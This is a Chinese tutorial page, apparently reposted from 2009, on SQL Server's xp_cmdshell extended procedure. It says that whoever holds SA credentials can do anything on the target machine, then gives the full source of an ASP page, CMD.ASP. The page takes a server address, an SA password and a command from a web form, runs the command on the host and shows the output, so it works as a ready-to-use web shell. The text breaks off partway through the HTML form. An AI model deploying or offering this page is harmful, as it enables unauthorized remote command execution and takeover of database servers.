当前位置: 首页 > 图文教程 > 数据库 > MSSQL > SQLSERVER扩展存储过程XP_CMDSHELL的简单应用

MSSQL
SQL Server中常使用的DBCC命令
Windows2003服务器安装设置教程:MSSQL安全篇
MySql教程:两个表之间更新数据
asp.net网站开发中使用Sqlite嵌入式数据库
Microsoft SQL Server SA权限安全
SQL Server帐号孤立的问题解决
SQL server教程:SQL语法
修复MSSQLSERVER数据库置疑的步骤
安全基础知识 细说暴库的原理与方法
MSSQL和Mysql自定义函数与存储过程
MSSQL数据库不能手动创建新的连接
ASP连接MSSQL的错误: 拒绝访问
MSSQL数据库镜像在Oracle中是如何实现的
写给菜鸟站长:解读你的茫然
教你创建动态MSSQL数据库表
MSSQL下用UNION和系统表配合猜表名和字段名深度注入
Public权限下的列目录
phpBB 3.0.6 RC1简单介绍和下载
SQL Server:SQL中如何正确认识触发器
SQL Server:如何正确理解存储过程

MSSQL 中的 SQLSERVER扩展存储过程XP_CMDSHELL的简单应用


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2009-10-30   浏览: 154 ::
收藏到网摘: n/a

 

    XP_CMDSHELL存储过程是执行本机的CMD命令,要求系统登陆有SA权限,也就是说如果获得SQLSERVER的SA命令,那就可以在目标机为所欲为了,知名软件“流光”使用的应该也是这个存储过程来实现在目标机上的操作。
下面是我写的一个简单的应用页面(ASP),代码如下。
CMD.ASP
<%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>SQLSERVER_XP_CMDSHELL实例_魔术师·刘</title>
<style type="text/css">
<!--
body{
 font-size:13px;
 line-height:20px;
 width:760;
 SCROLLBAR-FACE-COLOR: #2896e1;
 SCROLLBAR-SHADOW-COLOR: #6cb4d8;
 SCROLLBAR-ARROW-COLOR: #f0f0f0;
 SCROLLBAR-DARKSHADOW-COLOR: #2896e1;
 SCROLLBAR-BASE-COLOR: #2896e1;
 background-image: url(images/bg.gif);
}
.LBR{
border-top:0px solid #336699;
border-left:1px solid #336699;
border-right:1px solid #336699;
border-bottom:1px solid #336699;
}
.all_h {
 border: 1px solid #336699;
}
.input {
 border: 1px solid #336699;
 background-color:#ECEAFD;
}
.LB{
border-top:0px solid #336699;
border-left:1px solid #336699;
border-right:0px solid #336699;
border-bottom:1px solid #336699;
}
.N1 {font-weight:bold;color:#339933;font-size:13px;}
.N2 {font-weight:bold;color:#ff0000;font-size:13px;}
-->
</style>
</head>

<body>


<%if request("cmd")<>"" then%>
<table width=400  border=0 align=center cellpadding=5 cellspacing=0>
  <tr align=center>
    <td height=30  class=all_h bgcolor=#B3E0FF ><span class=N1>XP_CMDSHELL请求结果</span></td>
  </tr>
  <%

dim connstr,conn,rs,i
ConnStr="Provider=sqloledb.1;persist security info=false;server="&request("server")&";uid=sa;pwd="&request("pwd")&";database=master"
'ConnStr="Provider=sqloledb.1;persist security info=false;server=(local);uid=sa;pwd=www.zhi.net;database=master"
set conn=Server.CreateObject("ADODB.Connection")
conn.open Connstr
set rs=server.CreateObject("ADODB.Recordset")
set rs=conn.execute("xp_cmdshell '"&replace(replace(request("cmd"),"'","''"),chr(34),"''")&"'")
i=0
while not rs.eof
if not isnull(rs(0)) then
if i mod 2 =0 then
response.Write "<tr><td class=""LBR"" bgcolor=""#DEF3FF"">"&rs(0)&"</td></tr>"
else
response.Write "<tr><td class=""LBR"">"&rs(0)&"</td></tr>"
end if
i=i+1
end if
rs.movenext
wend
rs.close
set rs=nothing
conn.close
set conn=nothing
%>
</table>
<%end if%>
<form name="form1" method="post" action="">
  <table width=400  border=0 align=center cellpadding=5 cellspacing=0>
    <tr align=center>
      <td height=30 colspan=2  class=all_h bgcolor=#B3E0FF ><span class=N1>XP_CMDSHELL实例</span></td>
    </tr>
    <tr align=center bgcolor=#DEF3FF>
      <td width=26% class=LB><strong>服务器</strong></td>
      <td width=74% class=LBR><div align="left">
          <input name="Server" type="text" id="Server" class="input" size="20" value="<%=request("Server")%>">
      </div></td>
    </tr>
    <tr align=center >
      <td   class=LB><b>SA密码 </b></td>
      <td   class=LBR><div align